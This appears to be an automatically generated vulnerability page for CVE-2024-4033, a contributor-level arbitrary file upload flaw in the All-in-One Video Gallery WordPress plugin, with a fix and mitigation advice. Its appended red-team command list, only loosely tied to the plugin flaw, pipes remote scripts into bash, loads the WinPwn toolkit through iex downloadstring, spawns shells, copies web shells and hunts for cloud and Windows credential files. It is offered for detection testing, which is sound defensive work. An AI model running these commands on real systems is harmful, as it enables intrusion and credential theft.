CVE-2024-4033
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient file type validation within the aiovg_create_attachment_from_external_image_url function of the All-in-One Video Gallery WordPress plugin. The affected component improperly processes external image URLs, allowing malicious input to bypass restrictions. The root cause lies in the absence of strict validation checks on the uploaded file's type, enabling unauthorized file content to be accepted and stored on the server.
Vulnerability Description
The All-in-One Video Gallery plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the aiovg_create_attachment_from_external_image_url function in all versions up to, and including, 3.6.4. This makes it possible for authenticated attackers, with contributor access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with contributor or higher privileges can upload arbitrary files to the web server, potentially leading to remote code execution if the uploaded files are executed by the server environment. This requires authenticated access but no user interaction beyond the upload. The vulnerability allows compromise of site integrity, unauthorized code execution, and possible full site takeover, as reflected by the CVSS vector indicating network attack vector, low attack complexity, and privileges required at the contributor level.
Solution
Upgrade the All-in-One Video Gallery plugin to version 3.6.5 or later, where the vulnerability in the aiovg_create_attachment_from_external_image_url function has been addressed. Detailed patch information and remediation steps are documented in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/e0f295f9-1090-4b10-abc5-3f73c5b4e28d. Users should apply this update promptly to mitigate the risk of arbitrary file uploads.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the All-in-One Video Gallery plugin for WordPress stems from inadequate file type validation within the function responsible for creating attachments from external image URLs. This flaw allows authenticated users, specifically those with contributor access or higher, to upload arbitrary files to the server. The lack of stringent checks on the file types being uploaded significantly increases the risk of malicious files being executed on the server, potentially leading to remote code execution. Attackers can exploit this vulnerability to bypass security controls, as the plugin does not properly restrict the types of files that can be uploaded, thus opening the door to a range of harmful activities.
The primary attack vector involves an authenticated user leveraging their contributor privileges to upload a malicious file disguised as a legitimate image. Once the file is on the server, the attacker can execute it, gaining control over the affected website. This could lead to various exploitation scenarios, including the installation of backdoors, defacement of the website, or even the deployment of malware that could affect visitors to the site. Additionally, if the compromised site is part of a larger network or has connections to other systems, the attacker could pivot to more sensitive areas, escalating the impact of the breach.
The real-world implications of this vulnerability are significant, particularly for businesses that rely on their online presence for revenue and customer engagement. A successful exploitation could lead to data breaches, loss of customer trust, and substantial financial losses. The potential for remote code execution means that attackers could manipulate the server environment, leading to further compromises of sensitive data or the integrity of the website. Moreover, the reputational damage associated with such incidents can have long-lasting effects, making it crucial for organizations to prioritize the security of their web applications.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and code reviews can help identify and remediate vulnerabilities before they can be exploited. Employing web application firewalls (WAFs) can provide an additional layer of security by filtering out malicious requests and preventing unauthorized file uploads. Furthermore, organizations should enforce the principle of least privilege, ensuring that users only have the access necessary for their roles. This can help limit the potential for exploitation by reducing the number of users who can upload files to the server.
In conclusion, the vulnerability in the All-in-One Video Gallery plugin highlights the critical importance of robust file type validation and access controls in web applications. As cyber threats continue to evolve, organizations must remain vigilant and proactive in their security measures to protect their assets and maintain the trust of their users. By understanding the technical details, potential attack vectors, real-world impacts, and effective mitigation strategies, businesses can better prepare themselves against such vulnerabilities and enhance their overall security posture.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-4033 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/e0f295f9-1090-4b10-abc5-3f73c5b4e28d?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/all-in-one-video-gallery/trunk/includes/functions.php#L140 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3078876%40all-in-one-video-gallery%2Ftrunk&old=3072329%40all-in-one-video-gallery%2Ftrunk&sfp_email=&sfph_mail= |